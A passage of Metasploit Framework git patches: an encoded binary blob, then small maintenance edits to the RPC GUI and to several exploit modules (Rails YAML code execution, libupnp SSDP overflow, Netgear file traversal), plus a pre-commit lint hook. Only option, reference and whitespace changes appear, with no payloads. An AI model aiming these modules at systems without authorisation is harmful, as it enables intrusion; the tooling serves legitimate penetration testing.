z--**%oT$w~9S-W^ni&?!eO%uZ4VZzOXvnWKIcUV?X^dZVVAzy@)RVU-ur)XEe#;Zv zkv8~^OjES;^VW*9?&w;Q;c07$PVP@%c4{-Lf@J&$k_Tz|g5B{-FI&JdrefH;Hzp93d=Pfo`S7WjP{G*#7tHxwm?zh33 z`~#ph@dKa;26HfkgP|6GR;b)X#PA=YpUVXjFNYvE1FExFzj z4rjH2+X&XQQn(Sh&K09eaO)K#QvT(*%QJ5o>s8r1^tp|nf-!sao3y6I6o>4%ZN5p&|E2LKtsrF} z+4Y8vAFKrWQF_^l_`vwia~Qnjh^xkU>yo%;ZujmsAw3}pDWpLv9YXI_njlD%A|Obw z3Mxlv3R0yEMFk{ECxF0F1%6gUy7Vp}y-5`*|L>dGOLF}E{r@DN*}0uprtH)=Z{FCF zl!LtESz9%{%|B}^X~FGP?n7s7d;DC;I=Tjx%0~EzPxwfy@R3E~BZtCAqJ)pE2_Kmd zJ~AkLWKZ}gP2r>TgpV>4J_=Fz$RYefG$P_l;rTl+e%tm;In0yq*qUY@0gwi?AQny& zA|#MOqwly-FV&%5c#@q3jY=PqXx(31{J{1ikC^$~F-bQ1RDf9H51e~nq1MK| zi5EetQe_blAAV@709wCCwwOHH5JY&HT@ew-m|W;$t*h*sh!}NDMBM(7ElL6Lu*bGW ziIi$Faw|>`34Tcu1?j&jqPzOo_68`b{cVeJ5e4nDhGByVSHoc}wc;H&p&??ORf1sz zx^~M6ox^+h69?tlMYvn{@Q2&Xu;6)k3@Rov0Bi4$wBktbv2rG1~{q5rFF?0PG zk;lx2WIh(m(2hhhAN_4Bjbx@iDNrgTqVtqWK5ax^sh~9q+F?&@O+fogL0Z}bmLHIQ z$wKjkAnqS%kW!-2oISMByv#qg5@68np8}EpHwMp%0S0San@0?A|4o>S@@&H!%~JBd z3bR3#RVpaka8D^dB-Y&)Nd-)=b+|TwJPeDHN5}sF2gjJzPewSOnuR?}Tg|y?K zo*)zRj8`F(Stji-ijC$OuUb-A?%GjCbh7gd{4S6?o>H*Fz#eETywhJh=|NRU{*kIU z{n0X+{yvf(&Vsmmt7(BtAuk+ETPhvTs_TV zw+M2ZaPH7Ate5`663Ic0lmZ`W>=9kK^Mru>T%;C<%_22Q8yS68Q(`ekVP^qR;xwA@ z)Mp69oTni>%NImxp#jUmM=6HWS9J9?{Du7IC@lepYHvhosma(7Z>SU#^ORof3BACO zQZ;D2L-P)UID4WiHFUO!S1qCqMv;G8L@U9+3Rk0e?aDq0eANz18F$ZUZM09|UbY)* zKlIo~52(w_dnMPiExbs)R@HYsTV>Fk+)xJKz^|}>G$LLr7Pwv+V$gcSz*=Anw&2+c zzA;`)R<`g130i28f7OFsuM8K+6;AhB5&OtC6La;Yo>FUCVl91}?b_;bRhEs0~UeWM?RhZ%))geZ{hL zv1eI&I#C;-tamp}(z+_j7WcYj&FU9JdN45OV=g{OCFOJRPAe|R^rx>|9bY;Jzf>w0 z;nSLi-jQASwBIasI7qOw36+NW>khngIW3YmD5urKbu-h-X)#&Uwa}IVfO#vO4yGCo zg{?(GRLBD=V`{$+-M_+6?0Dw#tL3!k;BuwB)}j`1ksBR1>B1(w(d|TXH<^A>c4#QL z$u{Db1z)EL5;Ys~`e1{53t+i?L7sW0pELqwc zplFk&#fyBK6kFxIv{Ys^cTmLq!ovlXgYw~CpQZJt+jojq)~4qdhuY30 z{!x(^T;nhzRE24(p{h}=8qJsxok}%S6vwT~T8%8yGM7uyThKze4f*aJp`{{+xDt8k zDM2$lkg1r_N%9_5v>L8_@_Qh^5Ap~94>_6!#g1t6wVF1t5^}&Gc2cY9G0N`m0<5fg zDY43wV946fY926o6%>d&2rrQZqr;Sa zkR8EHfhv<2HC~CZEI^pdaWt>ho+Y2yzY zUqhAU7%g6dp9=|j1NdwC)M{Fk?A=#a)12l?c6)7&%Z}bX(e;qORUe-hdN!XpSSN-} z{V+B`W7yQUvWYOe$0liXSsR3D^a9ZqRwqvRGL1q$qX({T3u80rF_Rv%hzW<#z(MVd zlpg14xT=k0GCG^Du>}s2v``F-bk>9X<~c%3JBDC7%LnX3?%P<4 z)O)iFLcv%pI_%JB9%?YC&wJE?pffE*ZBbC7hH^LSYCxeLzuu)scY1vX7z-O~EB;lC z)|)qLqRm%&^E*wnNjM-uYLa|zQ!M~NE1GIG5k&fs9@U?p6nEj*wbgnLsj{t_D%*5W zwJScXN-+u_kqVy_{V5#D5kArepSliG_gA2P&0yU}%FKLIQUg^VH?u(1+efy%e!OHm zEhv%dkF5K?&=4MoH`1JxYT2asPlwg|x_h?M4yw3nrSe+&85J+qj-?K)D~y)Fi#=H&_y_` zAf_($OjW)Fwgg&|4z`RfM~$Zlp~WZad#*;;69%v~#Bi+x4;U}0M;8+&kmhuNsW}}$ zn$rnvlg>6nZyJa9bhb@r--*o=l-Mt+FvY=kKvmvOgOCG{AB4cZ9;x=#V?S#`Qjc>t zeTKcxJKs{`+;jSC@2kGQB52T%x8Ls8t!uZgyy;XenpYmA?Jd5W{boR|{WSw;WgsO8 zZZWv?z`Jjmw_)wuToo$^VQft23BEU@{Apvt~3jS;x(F_K?jL=jXqkqyU%;t zyNWwtm^Mu@oL#$h?+oqgX8i^Z<_m^v&*ST%o>E0uDJ2-&{Hd@JLLam-<}C_q%6ERC zMOA5r0NHXLvgY_LTaFVd18?Asl&j^%kUruFlS;BrOB+x?jX>GNBR>DGgf@Z6ZdPo2N?>sWTFUuY%2`9K0m=Sfv5n~)SV}ot$`+=#aWi{h>IRk;V%xwF z><8Q}*b8bCm_fu9Z7FM6_*$l64iOlE+lr8+jjYsqR@$eW&tlfUqOCCK%4}d|1Iuk- z<>#;fdasZYm<2wCZQJvp6}_O9UV>Kkf>voQ!NIKRMpk_>vsSc?u_}vS)D7{O%Yr0t zk-sdFzjdtiYV^ErOy;(u-CcuFHxMGoU?o#2h2#2@aWFKwV<(7yFe@P&ubT8F~CIL23B`9e#o>HY`C7etZcXgfI|a4<@SAn zPh&38(U?oH+89$?;+F$h_2A?DXZ~Rx8UXj~T2p#N3}fWn?vdIzF>)X!Fl1g|dOW1ZBYHg6*xxi=6eLg3Thc^QygViFGkRde&SWp} z;BPI}v_P09cR=1qNQ#9XKK#9xWUmk4Qh6wob%$Fe#yi$xRrxT2nCewuFR2Ny8B*9lJ4@(JC1__S%(9 z>}tSchq-8-!Kii_8r7AuI@_Tu%|9^JYQfg#|Qod@-bZR*jI-wk6+H1Y}^OpHvs zX%ODUe)Y_Y*Ru`N`#6h4{lIcbzJSLndaR|#c6zMCY6)hHBP~C%m11sP1k&&|1{P>| zxY-7S_7@GTv+?U^pwO0e37jY}umDE*CJO(Ser={-JLuOI`t=L_+DgB+u?_C@HCjt0 zPRQoGj0zyZ%49>C0@D}F_nm&c`C2X0y?w0~uPD3ug>SV_ASms!#XB2cdM{V-cB1Zjmo zr(_b1nD1*1B#n}4i>6r_ZpkfV zsYp{Zl%7hJN<@C@S1m0oKk_H&g#N)8@w7nXk$I6v(!331D&(Ys++Ab0)<{wI@=3pG zZ|BFYRP>PGmn3n()W}(EY0!E>>{cM-Vv$a9%g)nLAWj=*filB3Y-k`(kX@op4v^6@ zqt+{uA*p{N0+n4>lHt>B&rRXeUrWAo589a6GJdv4>neLnOOxBX_>JGSRB=#}zj#Y8 z$B!Sv(cVJ+txkTko$hcyKcM|-ieIn%uDK*#{n(l9dB0;?RaY*lyR4=Mmb94W52gFZ z2YELgUmI86QS9CZ&bWFz6U(tG>x}(64*oOv|iV&k_(_7upjn;G>C7=z81F$^#Sl${b-^P&F7b}k34avSbqJ0m!?&ZRlD>_? zKIY?ZX-POiwEC77mPwj3qIqJ*CG~C?etC`?hhVNY1w2$LHKKJtyrrF1LHzq&jpq}q zznR3N)P~YNg)&B|FVt^{7+*m|Johhc0cb1T(<)_A#8NIhB`@MBw8RCb14)Io8Blg- z#UU7;A_S3A8Rui3dru23`w7UU=x-_}EK&nVu1~Ca?5to%XKqx6x*!tp1TiB4W0!x$O}`S~`@qv-IUZ_fG_fsoeZev-sVN5W z3`O^K`#;y9A4#2B$fnp21i%e|zYJ@a`Uo3wdC1*;bQ77sSuKkX(Dc$B!bp(;ldPI# z3$%dx3f*Z@g!Dn8DL956v6>PG(VkM2g5x!sLis_51useTNOs`5N=%^Al;TdTWl}XI zjVrny+6vRoI;5-8Ug)YgSrMf?4E52RNf2idaYaq3gfreUq%wt6(UhuW{#D>qqmb(K zsG*UDN}7_$`{;UPF#)ZwDGeMjtS?>~YDyyq^ykIPYnsxSl9k9;>v~B8=N;prTcUJ; zxSHS8^{DVY6a_-w)|IYeX4VZ#+&II?mcUK(4#WM!AdFZa2B0>Fdj+?!~1FS!RkE+dyiO^1uJ%l5(-_HA`wsMLEy+ zhv*}M?rLfgLycB`Gt?M0)_`i^U3ceDy;~udx1xv-Wg2Z#rGyF}=@LH8=qMby5I(Xd zeB@5}$cgZg8R63=2jL^F!bhHkk1PsbsuZXx^ld}{GAevzUHB+V_)c_Ea!z%D_e;_{ zDHr+vBt13p5@51(Yl>OWWxSEX9BI2yCykE|{{oLq)?0#NNU|QEMHDnj#G>=L23;fS zhN}tX4i%7Ed0c7Kx$WK9H=3T9u3LD`|R+l1Y5TFlWW?vWWSRPbnyT++&I* zQ8_1+J7}bm${iPYxeUD=($FVE56h#CMn_C)BNTIDUd)NmgB6Of!5}h#od^tZPZ35(Ru@B<_Z;KJXb5Jm!RV&0EWmOSTQKN% z-@wry6`9vqBb*X?46&7JMPlFzNGmwgjs z7L47{1A3JKtg^8VVNL1LOk>S?vp8FvyKOc7TQx9>6)_-M2{&*Y437vFDd)G9YU(|0Q5eWr827KO zheZFoX|5<~udm4Togap{&(+jBDsfb>r5<9^QAhw( z0i$3v`*6|xgE2phM3aIELRO4e16m8d1-=zxLRD66ib_uGA_Z&efs!ddGGX+qIJ!6D zZN+|g8h9%#on;V5{&5|>X<6bRr@7G(8pa4NvW8d9V^S5ZikR4;-&InOI_v7`BA;?D znt)y>5$UZg$Vmf^Ovjai^$_}t%FAC=UjCxY{1LPaD~ocX<$pO8CoHkD@}N?oCD#N# zi3rI~wU>xcEMeVs^^N8Qbc34c*9=oa*iJVWw&&XwU&xzv!NGrF0SF7*1|HStF1kzF z`02dI8Rr*;IW=4YWBfq0kw~^G?5 zCnz8A)!p^5)`K*%Q;|j+WBVwUU9j*({;$G5g&)0RQsqbQ2ZRBNgJNZS2wg4AQ&4ok z7)d@bu<#ur3{?#0(eLOdr3s%>J@i?Y^f|Oh70XvFs8H;0i0ijv>%8CX?R@!LHtfLD zIz!Av{IFL2)PP(UyF(Cc%V`R>WyMq{Sgd%-5XDe3M1jXJEPzRz=8MIxX|!TEg8KE* z|I7L|+r6r{{;8s5^NM}-VPxfnwyF2`)%_53wy)mEG8ZXH@2AHrpSrQGUFm2;@^z{{ zv^h+E{_<8Xa}l8kN1BC?)CnI66n?%13m4vLSu1yYNAuRh_2{fI2$Z!x-y+3Wgvmxj z_O3q08;Px?Aq#ohL}8=dtA^|ESd=kj&L^Gkz%3U1+zY)T&mN&y&Lj?E`e12ga+sv< zlB;AWHP3r#l{}i?7@;o!t4S`sk}HoE%UDnBQ{*BUt!L~@i)31}=WDvSSueS;q-@E4 z;7c^d`C_YDX33hz6sFp-e5E-MDhhmJ)td2oBlTogezAN7K8w&-=M>-(na3m2Oc z`qbp%wb<>C#qNOoG|8gImKM~s>};vv=~?WG%wqKk)h=4>j+O&2rNpz?&HpfDkY0Wm z8}-Kgi(S&br9br7;xCO~$o34l zF{AYIW?$8IEPjfyx8Ar))%l!H^s=t0)YzeV@5g8tUt=?9Se=PoeDb+Y8ZA~fM`LqQ zHn6Cxu`dYsOM1+=#X;=cqE|E*)|byM!Qk-D~U+S^B;8g6dz_k`S^5`fTm z$%i2DJDeq;V|r28DquUI9E0Nt6dzE!n|6M_ccAY66hLo3(^{2b#fq-23qL(x|HS>? z1pO^b&?jsxiP7*t4}cLfHocqNxgQRJnl@Q)8wJ}n*y5o*b8G>U!b}fZ_}wIhnI8P3 z$$G3loECZ>86B2Zy;wH`8-3k`HHWj4_0YiX>}>;@E(nIbOM@o*bg^MDkDQ`UQHJy7 zQ}nw3x;7ln?@!U+2F9CH^%07TWO0Svcc$uV>4!(}&VQSX!YjgFgRr(=N*kQ-lu|oD~#{g>}q(8!C%T70ST&$R4$X!XY9w=05 zc(-|a6KKV(o2Mri(2A*IQWU}zLfQc?jL%IrfoNhuHi1Z^#__oxU5lcZjW-@?lQRU0 zTFL@_F(^n)VyV}o0OE@=qB9sti6iOt^!i*sMS4B;=j)%k@`%;lCUG~lJ0m+o3XWZO zfkw_~K}>eqKn#ZU#5-1tDL(62K#FAp^OqeXr`jWnpU7#oOx+;if)TKyiZu$ z|IO9%-?+{I*O}lt>;K}44v361Qh|vMh!W-LxAMP{4ZWl+C>w@@k3|PG$s`lo0ShL>3AkA)O}=cqvqD`!cQ&JWB6OKu%Ea!N5?J9H19IP z=gklR_p!ygM=Sdn5X}zjpOt!PhrleoE4U6Xw^1+U!p%cr>;OFu(q1WqK4CO331f%p zaRm1Zv7_|s7@-`e#|bFSKq^l{e5uY|h=loPo$MStPm=sU#NpUNq|;r9UDDW}M1GmT zSA==O2vegwiXFAH@?q=-F}Jnrf2KKTzc_K-(!(lZ*P zca6fUV#A3h+W3u9V2DS@ttXmdcVN!@x2`zARk1?5inu?(dX%JWc%MW@8}V+CvX$Zs z#VbB%lYSykT|3_W!)86iR(3j@YEW%3@U7UNQASkMEy$p-f2+_cfK$RO=2nofNr zO?vt5M4``8>dHycYdiId7R=lD_?>zgeFm9XoC({8+0u9zj17v(nGVBK(#V+lAHCSW zc2Tq3=>RFpEZ*vSy_>R#Z~b16!`qqf^)CLi6exD1slhmsq0ELBI&2zm^PQ!@XwEmv zVnbPipv>Pa;oS0?E!^GkM?KKlRN4v)ri7!q6{e0A)qW&?t7yHdXt@+FTdoWrhxd;~ zOP24Spy#6I0vf((zaAemRgfc_!beWw(=uLe1$xZi zbPZ_;^fX97ucCT3V=J(4VZq2`gBX1k!iJ#J$;Bo%b)Qyj$*#pOhBB3k@AQlGy* z&7uSXT1zCDdPpoOE&hWxuuigvB)u0o9fZm{Zph-3*W1D>dKi#``YSWo2u7O(eW7o$ zsZI$%{U&;@9o1_glZ}pI0_iE|!f5eQp}jcLuvMt5(--h$BSmHdy(cNL%T#!YZM6Ix z$nLa|I0!6pMx)TwL2*_;3E{{!f3`3$pZs#_Uq+US`?L9E*rIR#eLHZ|dsz61MeK>mKQ#vdt+QDW~qK-i%m9|-T04}=pW z62LolXoBe-BW||X3Lh@E!d+r3ye{p%pXKMT=!e`tUDeN9(!L-=;h)n3W)lr82IoSR zrFGA~UApH>3C57Iaf~&llwb^vI>N;7C^kY2M82bGyL%)(Xb0RJrZANh0)oJy>^<5C z2Xr`tzK;u3=T7Re5vZ9jsnd)hb866%lG`4OZs}7Mtc=Ut(FZG&#mMNe;W#eRhE)OI zcSmn*`4Y*BxeJlOWU&?Q9(z~!cLX6uR3TN&X30mqywWW#Ciz1VjI;AR8SnyS9V{N4cY(Chd5vX=D(gSSo4_D9Cx0`0_uXv3gQ5}YEMR5ggM@PvdBEL zNHZ;D{6diNo~k{qK*23R%u6vNTvi~~e(VCY{YO^eS5k)w~~FNL>m}6>iT`4kTcOX656rX?LqEw zRqWSI#zU&v`nizchS9Xg#tEZw_-J;bCR z`-ovhUR~|A{lsD0!;>3^-0@}XjxRs3+@9*bGSL3QS0Y^>X|G}8 zmzZL2VE+8*3wvEZF&u8p7;%$le_=1_e!AQqV1ffSgR`V>^NYQ_pGacLs*wX9Ba+8F z<{sks<%nIAfZEq*bbkuKQvu*pN*GqRamj8oIfUM`S2usQRUFODpSgt`jpfe`(T?ge z8y%;;NRI`hSYPg{W)I{03ppI_erb;KW?q(MIX;$k>Ep6>9qzJqopopVG-@)S26vru zmiK8$zc!z8Ruw7dPfs~v+LIDeBBvm1Bs!Wbyg9D^%brTPev0Tz3Y=l0xklrN$z9a>+q8x@bfR$Hm^-Em%-tT$kH&SsXpydkX*O zjtCFqf2l^GsMPgaeYl<1_|qBcV}D@MoV;Yl`^Nj*zB;NhM$S9lI+&Y_^!L55@$^4E z>96u9;%NPk2^;xHn1ONQB5WeM4XQ0f(0q{{% z%krClI*W@`wrzcI1dqP#3{_iI;N>nmlVx-7d>MEtO?dMw&R|$vS8TjUtYPTX70j$# zt^pr;1r)rwgde@^3=*JxeV>xRuZi6 z5Ud*12v_h>G)+55&^-@m@!pcnc;_1cRp}%_6|b7nyk5<6TY_4?EkW5HP{7T^3<>Jh zU4o`|!3E6wt~zDDF1Fz*-e<@d33`sBp+r^ux(NzAKYNe_g$$RV{vOc% z^D7(@l=hJXH5;breEW4X3(ba4ndsU+tCs|vZY-7{{~SdRF4+4~>Zc7| z)>xuhmP@qex6OEuwt0KI1VyZppsLGIS_^KQ1^t$lpO^5GYb5-vhxFH>Umua6`s*a9 z_iB)4+%ZYNpY`}d3Ge8Z@IH6U;{1>Q((%2~ca!rj&Y_$6!aL3+QR~+4`U6|W)NsPT zqtIYpWi#qAjgA8T;qw`=YC-VKof2O2uK5wBt-X*dL3MwSpz$8ik(+y-NKl8LC1}3~ zlv;VeO@aphDnVg?nGCh4rep&36v#k23DXv)W- zBd3r3-j^qQCB>)bBxv<1q}1=e`B{#%I36kCUtN&!Cil(Aq8uHQBxuv01d_ephK#Da zW$6B^lHe2wM6-Ca`@F1U7!=4A_G%WFZ%EYm2PW^EKCUgi>H~bNhqoo@U4R6aY8@jF zjl$f7oHv()_a!RziUM`T!N-+mqYaYtM*Z|}iMsj$GW+6z(}<(O_@;CB*k>AJ);hB%kl5Srs z>A-qmk@LpfnJSqM1*)iV%YwTW;?o{GLzR{MHZj@eVNzmEskV*5fSfmzjMBtJR5)9K5qKAq5_=z(};O5qv zuzUp)M=r{%N!fb~+z<{Toj3T$tm211_)lHWC-r82yT2fan}$KGDgn3 zjMfhpxIug%CSM{U!P{3ISdVs1&KtMy$0{E=S}n|rJT)_)xn^nrFZmQ-u+0SC;HgvE zf#L(6qNV&gm^XjnjO0t6dS<5EDfp{lGI;M0i_V{ek(}}QJp&Bmh9If)%o!|$J5X>F z%o2#x3@x} zaY)1X=V(qeTfdn5C<5B)j9jeO7g#n);_rWs>Pe_glY7qp2jxS~8@1Iei5mUFM6L71 zqeU-(M$Q{`${a$?5DZ6e`@sbvG6|Aj!usuV$#63mnv>%fD3fiN5+HXob#r<@GscKe zN3EB*tJYYwnH{i}q_ocL1IXcx52UjC-|8p? zI8s3L{N-eSu$?d?cs0ccj3dSidTttVI*~DQ-m8N|=EKWBwM6r&ShmVUFHnpKpDIZ{ zj89AO3FbbRopSlnB`2XYFBxlu`aDjRz#tx7%tzy~7-1!82^FM~nI7nWBFsGe)!2St zkXovi^5M-gd?NYkJfa;$)VZvO=&ow!Z%h2ex})o%CBS*t?lBd3g2hOZaW=6~az}!E zVRiHjE{hQ;zSEHfts4)-3Xxoxr)=P3?KhgQu^5Sx`~=9=yW{yoga|si{kjC=Bj?e+ zCGwo?%&SPvQ*77Ye&pTGaDiAKztNcRl@oqLFL6k$@1*{1# zV=c+xOMxYGc)*4nru$#wuKdeluM1!e*4l&*>2IP|JGh7RtQXbF#BW5Png*k`im(Kukgj zf9~&{+VBB}5emCXtL>0)!dSbEUtHHl5VgnxzQ%5p6#Ts|Y|G-!1PiCp-Il-rRvy?R1!paOqdO zranR)C+E%d&QF9I&Bw-=893U$Mj4Scwb&jB8jUVbTwX~~0f$^7{33jguMsH4j=5mt^J9XI@f}~;g87|ToB3r)ekE=U zSX0OdwMzrS#al5Om8@@MQ>&peBA7>M&tf(>K9)U9fVBhR>3XS6#c6U{mBPGhpqZq(t;#p#FM>eRbtf+oWJK`Qfo3Ga+O`1Y{vbiHx~+*>mx!)k z_3eix>64!co-SkR3?^!w-I9U_c`~w!g6Hg&!R6vS!T(V3#RD=}tcNJMWT?9bWX$Be z$KK4tgj$$?6l@ODTFrrB0cgGCyyuArv0^HzYQg-6U{7o(gYjJ=kqLyG^GAwq!K3d# zo``l$&YQ=h0Fy_{5VKT-RZkkxEn7k~ejq@L^jh~4J7MHgpqvRe$uD}yNBd6cBu91J zY$lVJ7HR~E83$SaY>K{xoc9=$5F>Dd_@Gd;JG#)Uw0aI%CWiqp?=L5NX)XSBs1YNi zlHH#@`@AJGMUHe&JbyXa8|!O~*Qlq(@jJCO2u9G)3kot!=Yz<}C411}=VZ5d%|k)G zr|1(WPHpi+We9)Cc@KA=cjZ&VjD(`pf)4G^`RpeofSmW#-{=RHYbI$S{Cb!XB#`sW zgdtNeArF$sp}br;YPD#auZ5#lw-}?b=?lvT^L-;V8($J;c2aZq%qVmTDJSPW(%WTon~(J)Sfg(dlGjmLeh73HfJYI4vMHC$L>p@Gb@d5J(M&SL|x<{(0{#uA)}11@k$ zUIo>7g}^P?`c4-{E&uueUl@T#`O?5zG6FE)!xEM^vi|zxfvwy>8troGF#?ql1x^ME zI-o(2LnX=k%gGKpMOd)~T6}6GGPd?_jW_qvLwLqRWQ-*7B4gsbvFN;JK(sY2(kLc^ z#c5*-rW2P@Mi{>xY1Vpi=2#G1Lu~=aC|)hfED1VxY{6y$Iq&6Uh*RJO^N~@8+%o9< zt7|fhD3BqAml}3cSWgirpZITObh!=`6_So;LI06-AYb~7Rcm@Ef{S>%xs)QP5FHx= z&|Jk*wLJi$;M9{L2{3!k$ay!d$k+MgB1V$P|J8sSuk-VTQRw!Le19~Gb4oj;C4UlR zMB`fx=ptcz?S{FG>x5vKt=$)muiGcU2o_PkbPlJ$w|cK9F(@Ufk=-AdR?$heJyOC`(T8}V2( zP)CyX#iaMzAO>>YGw~(GBx;=mBVID@od6E?ip$^~iT1+0eS+ED9ZmjcHVp*iyx9b& zNc>4j*md?z@~k@}62YsNfCcl0iH0;s#rsgOZ+RjK=3gWl$zq<|En?n)o(f~+yoZHu zd}WQ?AyMCX7W2q6xA!i) zBDExHXfe+xs8S4(O|2_~dlxe@<(HXH!8_{9;Jw9+WRZrfTK3D05H~sRV!PZ>qIRlh z59L*hd$Q7`IM}?`NW$*agR(^42mW?d+w*6^ha5H;^Zs(O&o|;biyO5?jAwJVF8B#8 zo}72#1vi#lCpEAq6ezsjDTpz>nS{+tG0ctsJrvxtxeR`qV#JGT@HA=C#M+3NoOgbj z@`Y)rFuycIb|}dLef$Go|01X{qK`T)$u)pQE+sE(^v&zG zl4;ofI%<3VH!qon^v!K8VNfV3Dstbg^P%5@z=B+c7n`1MO4RjfMsa~U=TMI~ef%)d zfh+EX`b!&$3I&ZIo{(+?2z+WzOw|*#a1b41c)C0S>=w*fr2CF&8&5hi95rCYfGr&`1gpH#F@C) zfh!7TRw+bxBU1!Naj5(FroUV!<90{vY=U_SIq$*d^(qd&Da#S-rT0O_7&YTsr$V!E f;X0i6-1c+>zP*%@=vP!Js(jZ9s%Gb$sNDYpKbr&S diff --git a/external/source/gui/msfguijava/src/msfgui/RpcConnection.java b/external/source/gui/msfguijava/src/msfgui/RpcConnection.java index b1b7d2c2ac..8b754c1871 100644 --- a/external/source/gui/msfguijava/src/msfgui/RpcConnection.java +++ b/external/source/gui/msfguijava/src/msfgui/RpcConnection.java @@ -260,7 +260,8 @@ public abstract class RpcConnection { // Don't fork cause we'll check if it dies String rpcType = "Basic"; java.util.List args = new java.util.ArrayList(java.util.Arrays.asList(new String[]{ - "msfrpcd","-f","-P",defaultPass,"-t","Msg","-U",defaultUser,"-a","127.0.0.1"})); + "msfrpcd","-f","-P",defaultPass,"-t","Msg","-U",defaultUser,"-a","127.0.0.1", + "-p",Integer.toString(defaultPort)})); if(!defaultSsl) args.add("-S"); if(disableDb) From 03a9723dc8bc03943adc8003b8e4de500a19c7e1 Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Mon, 4 Feb 2013 17:36:02 -0600 Subject: [PATCH 124/129] Update options to use OptEnum for HTTP_METHOD --- modules/exploits/multi/http/rails_json_yaml_code_exec.rb | 3 +-- modules/exploits/multi/http/rails_xml_yaml_code_exec.rb | 3 +-- 2 files changed, 2 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb index 4066d047fe..6fafba24d9 100644 --- a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb @@ -55,8 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote [ Opt::RPORT(80), OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), - OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"]) - + OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ]) ], self.class) end diff --git a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb index 8743f76106..e5e5311505 100644 --- a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb @@ -53,8 +53,7 @@ class Metasploit3 < Msf::Exploit::Remote [ Opt::RPORT(80), OptString.new('URIPATH', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), - OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"]) - + OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ]) ], self.class) register_evasion_options( From 80a8bab02f14ff3db4f1f83b955388b18144d4f6 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Tue, 5 Feb 2013 10:37:24 -0600 Subject: [PATCH 125/129] Correct the CVE reference --- modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb index da5e539930..ac7286c9b0 100644 --- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - [ 'CVE', '2012-5858' ], + [ 'CVE', '2012-5958' ], [ 'US-CERT-VU', '922681' ], [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play' ] ], From faeaa74a49c905b11082bd00e4e05175b626c38e Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 6 Feb 2013 11:06:13 -0600 Subject: [PATCH 126/129] Msftidy whitespace --- modules/auxiliary/admin/http/netgear_sph200d_traversal.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb index 311bb83896..632a991c0f 100644 --- a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb +++ b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb @@ -76,7 +76,7 @@ class Metasploit3 < Msf::Auxiliary :category => "web", :method => "GET" }) - + loot = store_loot("lfi.data","text/plain",rhost, res.body,file) vprint_good("#{rhost}:#{rport} - File #{file} downloaded to: #{loot}") elsif res and res.code @@ -89,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary pass = datastore['PASSWORD'] vprint_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}") - + #test login begin res = send_request_cgi({ From 734bd614e1e6a6bbd758e299ce82f0d340a051fe Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 6 Feb 2013 11:13:30 -0600 Subject: [PATCH 127/129] Adds a pre-commit hook that fires off msftidy If people use this, it'll cut down quite a bit on trivial module errors. --- tools/dev/pre-commit-hook.rb | 50 ++++++++++++++++++++++++++++++++++++ 1 file changed, 50 insertions(+) create mode 100755 tools/dev/pre-commit-hook.rb diff --git a/tools/dev/pre-commit-hook.rb b/tools/dev/pre-commit-hook.rb new file mode 100755 index 0000000000..f4e712a152 --- /dev/null +++ b/tools/dev/pre-commit-hook.rb @@ -0,0 +1,50 @@ +#!/usr/bin/env ruby + +# Check that modules actually pass msftidy checks first. +# To install this script, make this your pre-commit hook your local +# metasploit-framework clone. For example, if you have checked out +# the Metasploit Framework to: +# +# /home/mcfakepants/git/metasploit-framework +# +# then you will copy this script to: +# +# /home/mcfakepants/git/metasploit-framework/.git/hooks/pre-commit +# +# You must mark it executable (chmod +x), and do not name it +# pre-commit.rb (just pre-commit) + +valid = true # Presume validity +files_to_check = [] + +results = %x[git diff --cached --name-only] + +results.each_line do |fname| + fname.strip! + next unless File.exist?(fname) and File.file?(fname) + next unless fname =~ /modules.+\.rb/ + files_to_check << fname +end + +if files_to_check.empty? + puts "--- No Metasploit modules to check, committing. ---" +else + puts "--- Checking module syntax with tools/msftidy.rb ---" + files_to_check.each do |fname| + cmd = "ruby ./tools/msftidy.rb #{fname}" + msftidy_output= %x[ #{cmd} ] + puts "#{fname} - msftidy check passed" if msftidy_output.empty? + msftidy_output.each_line do |line| + valid = false + puts line + end + end + puts "-" * 52 +end + +unless valid + puts "msftidy.rb objected, aborting commit" + puts "To bypass this check use: git commit --no-verify" + puts "-" * 52 + exit(1) +end From e175e2c9e9b321a955f96bf7e4902835b7c372d2 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 6 Feb 2013 12:19:57 -0600 Subject: [PATCH 128/129] typo in method name --- modules/auxiliary/scanner/misc/dvr_config_disclosure.rb | 4 